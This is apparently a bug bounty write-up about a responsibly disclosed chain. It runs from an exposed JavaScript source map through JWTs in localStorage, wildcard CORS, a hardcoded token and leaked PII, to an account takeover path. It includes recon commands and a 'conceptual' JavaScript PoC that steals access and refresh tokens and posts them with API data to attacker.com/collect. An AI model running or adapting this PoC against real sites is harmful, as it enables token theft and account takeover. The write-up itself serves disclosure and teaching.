Introduction

During a bug bounty research session on a responsible disclosure program run by a large European security services company, I discovered a chain of vulnerabilities stemming from a single misconfiguration — an exposed JavaScript source map on a production application. This writeup covers my methodology, findings, and the impact chain I documented.

Disclosure Note: This research was conducted under the company’s official Responsible Disclosure Program. All findings were reported responsibly. Sensitive details such as exact URLs, tokens, file names, and internal data have been redacted. The company has acknowledged and rewarded this finding with a 3-digit bounty in Euros.

Target Overview

Methodology

Phase 1 — Reconnaissance

Started with passive subdomain enumeration using certificate transparency logs:

curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | \
sed 's/\*\.//g' | \
sort -u

subfinder -d target.com -all -o subdomains.txt

This revealed 300+ subdomains. After filtering and prioritising, I identified an internal platform as a high-value target.

Phase 2 — Live Host Detection

cat subdomains.txt | httpx -status-code -title -tech-detect 

Interesting results:

https://[target-app].target.com      [200] [React App] [Nginx]
https://[target-backend].azure.com [200] [Kestrel]

Phase 3 — JavaScript Bundle Analysis

Checked if the production app served its source map:

curl -sk -o /dev/null -w "%{http_code}" \
"https://[target]/static/js/main.XXXXXXXX.js.map"
# Response: 200

200 OK — Source map publicly accessible with no authentication.

Downloaded it:

curl -sk "https://[target]/static/js/main.XXXXXXXX.js.map" \
-o app.js.map
ls -lh app.js.map
# Output: -rw-r--r-- 1 user user 2.5M app.js.map

Finding 1 — JavaScript Source Map Publicly Exposed

What Is a Source Map?

When React apps are built for production, code gets minified and bundled into unreadable files. Source maps map that minified code back to original source — useful for debugging. They should never be publicly accessible in production.

Extracting Internal Source Files

python3 << 'EOF'
import json

with open('app.js.map') as f:
data = json.load(f)

sources = data.get('sources', [])
contents = data.get('sourcesContent', [])

app_files = [(i,s) for i,s in enumerate(sources)
if 'node_modules' not in s and 'webpack' not in s]

total_chars = sum(len(contents[i]) for i,s in app_files if i < len(contents))

print(f"Internal source files exposed: {len(app_files)}")
print(f"Total source code: {total_chars:,} characters")
print(f"Approx lines of code: {total_chars//50:,}")
print()
for i,s in app_files:
size = len(contents[i]) if i < len(contents) else 0
print(f" [{size:5,} chars] {s}")
EOF

Output:

Internal source files exposed: 47
Total source code: 136,272 characters
Approx lines of code: 2,725

[2,522 chars] features/auth/XXXXXX.ts
[ 989 chars] features/auth/XXXXXX.ts
[3,119 chars] components/XXXXXX.tsx
[1,364 chars] index.tsx
[2,138 chars] store/sagas/XXXXXX.saga.ts
[1,775 chars] store/sagas/XXXXXX.saga.ts
[1,785 chars] store/sagas/XXXXXX.saga.ts
[1,976 chars] store.ts
... and 39 more internal files

47 internal TypeScript files — ~2,725 lines of proprietary source code — fully readable by anyone.

Finding 2 — JWT Tokens Stored in localStorage

Extracted from authentication file via source map:

// Confirmed via source map — auth/XXXXXX.ts
export function getLocalAccessToken() {
const user = localStorage.getItem("user") || "";
if(user){
const token = JSON.parse(user)
return token.jwtToken; // ← Readable by ANY JavaScript on page
}
}

export function getLocalRefreshToken() {
const user = localStorage.getItem("user") || "";
if(user){
const token = JSON.parse(user)
return token.refreshToken; // ← Long-lived token also in localStorage
}
}

// After successful login — from components/XXXXXX.tsx:
localStorage.setItem("user", JSON.stringify(response.data));
// response.data contains: { jwtToken, refreshToken, username, ... }

Why this matters:

Why this matters: Unlike httpOnly cookies which are completely inaccessible to JavaScript, localStorage can be read by any script running on the page. This means if an attacker finds even a minor XSS vulnerability anywhere on the domain, they can silently steal both the access token and refresh token in one shot — leading to full account takeover.

Any XSS vulnerability anywhere on the domain = complete and persistent account takeover because attacker gets both the access token AND the refresh token.

Finding 3 — Hardcoded Analytics Token in Source

Found in index.tsx via source map:

// Production token hardcoded directly in source code
const analyticsToken = "aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
analyticsInstance.init(analyticsToken, {debug: true});
// ^^^^^^^^^^^
// debug mode ON in production!

Two issues here:

  1. Hardcoded token — anyone can inject fake events into production analytics
  2. debug: true in production — SDK logs all internal events to browser console

Finding 4 — Wildcard CORS on Production API 🟡

# Testing CORS policy on backend API
curl -sk -X OPTIONS https://[redacted-backend-api]/ \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
-D - | grep -i "access-control"

Actual Response:

Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *

The backend explicitly allows the Authorization header from any origin (*). This means any website can make authenticated cross-origin requests to the API.

Finding 5 — PII Sent to Third-Party Analytics 🟡

Extracted from login component via source map:

// components/XXXXXX.tsx — on every successful login:
analyticsInstance.identify(response.data.username); // ← Username to 3rd party
analyticsInstance.people.set({
"$name": response.data.username, // ← Full username stored externally
"district": response.data.district, // ← Internal org data
"isInternalUser": response.data.isInternalUser // ← Employee classification
});

Guard usernames and internal district assignments sent to a US-based analytics provider on every login — potential GDPR concern.

The Full Attack Chain

┌──────────────────────────────────────────────────────────┐
│ │
│ STEP 1: Download source map (30 sec, zero auth) │
│ curl https://[target]/static/js/main.XXXXXXXX.js.map │
│ ↓ │
│ STEP 2: Read auth code from source map │
│ → Confirms JWT stored in localStorage │
│ → Reveals exact API endpoints and request schemas │
│ → Finds hardcoded backend URL │
│ ↓ │
│ STEP 3: Confirm CORS wildcard on backend API │
│ Access-Control-Allow-Origin: * │
│ Access-Control-Allow-Headers: Authorization │
│ ↓ │
│ STEP 4: Phishing page attack │
│ → User visits attacker page while logged in │
│ → Page reads localStorage token (F2 enables this) │
│ → Page makes authenticated API call (F4 enables this) │
│ → Guard patrol data returned to attacker │
│ ↓ │
│ RESULT: Full account takeover + data access │
│ No brute force. No password needed. │
│ │
└──────────────────────────────────────────────────────────┘

Proof of Concept (Conceptual — Never Executed)

// Conceptual PoC demonstrating the attack chain
// This was NEVER run against real systems
// Constructed purely from source code analysis
// Step 1: Read token from localStorage (possible due to Finding 2)
const userData = JSON.parse(localStorage.getItem('user') || '{}');
const accessToken = userData.jwtToken;
const refreshToken = userData.refreshToken;
if (accessToken) {
// Step 2: Make cross-origin authenticated request
// (possible due to Finding 4 - wildcard CORS)
fetch('https://[redacted-api]/reports/searchReports', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + accessToken
},
body: JSON.stringify({
locationIds: [], // From source map - exact schema known
pageSize: 10,
skip: 0,
reportTypes: [],
skipBeatsWithoutNotesOrImages: false
})
})
.then(r => r.json())
.then(guardData => {
// Step 3: Exfiltrate to attacker server
// Guard patrol data now accessible cross-origin
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
tokens: { accessToken, refreshToken },
data: guardData
})
});
});
}

Extracting Exact API Schema From Source Map

One thing that makes source map exposure especially dangerous is that attackers get the exact API request format:

// store/sagas/XXXXXX.saga.ts — extracted from source map
const requestModel = {
locationIds: payload.locationIds, // ← Exact field names
pageSize: payload.pageSize, // ← No guessing needed
skip: payload.skip,
reportTypes: payload.reportTypes,
skipBeatsWithoutNotesOrImages: payload.skipBeatsWithoutNotesOrImages
}

This eliminates weeks of API fuzzing — an attacker immediately knows the exact JSON structure.

Submission Strategy That Got It Approved

Instead of submitting 5 separate low/medium findings, I combined them into one chained report showing the complete attack path:

Title: "Source Map Exposure Leading to Account Takeover Chain"
Structure:
├── Root Finding: Source map exposed (enables everything else)
├── F2: JWT in localStorage (confirmed via source map)
├── F3: Hardcoded token (extracted via source map)
├── F4: CORS wildcard (confirmed, chained with F2)
└── F5: PII leakage (confirmed via source map)
Impact Statement:
"A single curl command exposes 47 internal source files,
confirming tokens are stored insecurely and enabling a
complete cross-origin account takeover chain."

Result: Approved as High severity with 3-digit Euro reward. ✅

Key Takeaways for Bug Hunters

  1. Always check for .js.map files — they're often forgotten in production
  2. Chain your findings — 5 mediums as one chain = high severity
  3. Source maps reveal everything — API schemas, endpoints, tokens, logic
  4. CORS + localStorage = always chain them — they multiply each other’s impact
  5. Read the actual source code — don’t just run scanners

Conclusion

This research demonstrates how a single misconfiguration — an exposed source map file — can cascade into a complete account takeover chain affecting real users. The fix is trivially simple (GENERATE_SOURCEMAP=false) but the impact without it is severe.

Always check for source maps. Always.

Happy hunting! 🎯


How I Found a Source Map Exposure Leading to an Account Takeover Chain — Bug Bounty Writeup was originally published in System Weakness on Medium, where people are continuing the conversation by highlighting and responding to this story.